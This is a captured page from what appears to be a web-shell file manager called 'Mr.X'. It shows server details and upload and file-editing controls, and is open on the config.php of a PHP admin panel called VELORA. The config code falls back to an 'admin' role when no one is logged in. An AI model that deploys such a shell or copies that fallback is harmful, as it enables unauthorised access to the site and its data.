🤩 File Manager - Mr.X
PHP:
8.3.33
Server:
Apache
OS:
Linux 5.14.0-611.49.1.el9_7.x86_64
User:
websparkit
Navigate
Upload:
Upload
New File
New Folder
Editing:config.php
<?php // VELORA Admin Panel - Configuration require_once __DIR__ . '/../../includes/config.php'; require_once __DIR__ . '/../../includes/db.php'; require_once __DIR__ . '/../../includes/functions.php'; // Admin Authentication function is_admin_logged_in() { return isset($_SESSION['admin_id']) && !empty($_SESSION['admin_id']); } function require_admin() { if (!is_admin_logged_in()) { header('Location: ' . ADMIN_PATH . 'login.php'); exit; } } function get_current_admin() { global $db; if (!is_admin_logged_in() || !isset($_SESSION['admin_id']) || !$db) { return ['id' => 0, 'username' => 'Guest', 'email' => '', 'role' => 'admin']; } try { $stmt = $db->prepare("SELECT * FROM admin WHERE id = ?"); $stmt->execute([$_SESSION['admin_id']]); $admin = $stmt->fetch(PDO::FETCH_ASSOC); if ($admin) return $admin; } catch (Exception $e) { // fall through } return ['id' => 0, 'username' => 'Admin', 'email' => '', 'role' => 'admin']; } // Admin Login if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['admin_login']) && verify_csrf($_POST[CSRF_TOKEN_NAME] ?? '')) { $username = trim($_POST['username']); $password = $_POST['password']; $stmt = $db->prepare("SELECT * FROM admin WHERE username = ? OR email = ?"); $stmt->execute([$username, $username]); $admin = $stmt->fetch(); if ($admin && password_verify($password, $admin['password'])) { $_SESSION['admin_id'] = $admin['id']; $_SESSION['admin_username'] = $admin['username']; $_SESSION['admin_role'] = $admin['role']; header('Location: ' . ADMIN_PATH . 'index.php'); exit; } else { $login_error = 'Invalid username or password'; } } // Admin Logout if (isset($_GET['logout'])) { unset($_SESSION['admin_id']); unset($_SESSION['admin_username']); unset($_SESSION['admin_role']); header('Location: ' . ADMIN_PATH . 'login.php'); exit; } // Admin Pagination function admin_pagination($total, $per_page = 20, $current = 1) { $pages = ceil($total / $per_page); return [ 'total' => $total, 'per_page' => $per_page, 'current' => $current, 'pages' => $pages, 'offset' => ($current - 1) * $per_page ]; } // Admin Notifications function admin_set_flash($type, $message) { $_SESSION['admin_flash'] = ['type' => $type, 'message' => $message]; } function admin_get_flash() { if (isset($_SESSION['admin_flash'])) { $flash = $_SESSION['admin_flash']; unset($_SESSION['admin_flash']); return $flash; } return null; } function admin_display_flash() { $flash = admin_get_flash(); if ($flash) { $icons = [ 'success' => 'fas fa-check-circle', 'error' => 'fas fa-exclamation-circle', 'warning' => 'fas fa-exclamation-triangle', 'info' => 'fas fa-info-circle' ]; $icon = $icons[$flash['type']] ?? 'fas fa-info-circle'; echo '<div class="alert alert-' . $flash['type'] . ' alert-dismissible fade show" role="alert">'; echo '<i class="' . $icon . '"></i> ' . htmlspecialchars($flash['message']); echo '<button type="button" class="btn-close" data-bs-dismiss="alert"></button>'; echo '</div>'; } }
Save Changes
Cancel
Create New File
Create New Folder